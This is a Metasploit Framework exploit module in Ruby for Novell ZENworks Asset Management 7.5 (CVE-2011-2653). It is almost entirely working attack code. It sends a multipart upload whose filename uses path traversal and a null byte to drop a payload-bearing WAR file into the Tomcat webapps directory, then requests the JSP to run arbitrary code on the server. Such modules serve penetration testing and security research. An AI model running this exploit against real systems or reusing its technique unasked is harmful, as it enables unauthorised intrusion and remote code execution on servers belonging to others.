1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Asset Management Remote Execution',
'Description' => %q{
This module exploits a path traversal flaw in Novell ZENworks Asset Management
7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
outside of the MalibuUploadDirectory and then make a secondary request that allows
for arbitrary code execution.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-2653' ],
[ 'OSVDB', '77583' ],
[ 'BID', '50966' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ],
[ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
],
'Privileged' => true,
'Platform' => [ 'java' ],
'Targets' =>
[
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 02 2011'))
register_options(
[
Opt::RPORT(8080),
OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
], self.class )
end
def exploit
# Generate the WAR containing the payload
app_base = rand_text_alphanumeric(4+rand(32-4))
jsp_name = rand_text_alphanumeric(8+rand(8))
war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s
uid = rand_text_alphanumeric(34).to_s
data = "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
data << "prod\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
data << "newreport\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
data << "n\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
data << "malibu.StartImportPAC\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
data << "malibu.StartImportPAC\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
data << "MM/dd/yyyy\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
data << "$\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
data << "start\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
data << ",\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
data << ".\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
data << "-\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
data << "yes\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << war_data
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
data << "Html/UploadSuccess.html\r\n"
data << "------#{uid}--\r\n"
res = send_request_cgi(
{
'uri' => "/rtrlet/catch",
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=----#{uid}",
'data' => data,
})
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
select(nil, nil, nil, 10)
if (res.code == 500)
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
send_request_raw(
{
'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
'method' => 'GET',
})
else
print_error("WAR upload failed...")
end
end
end
|
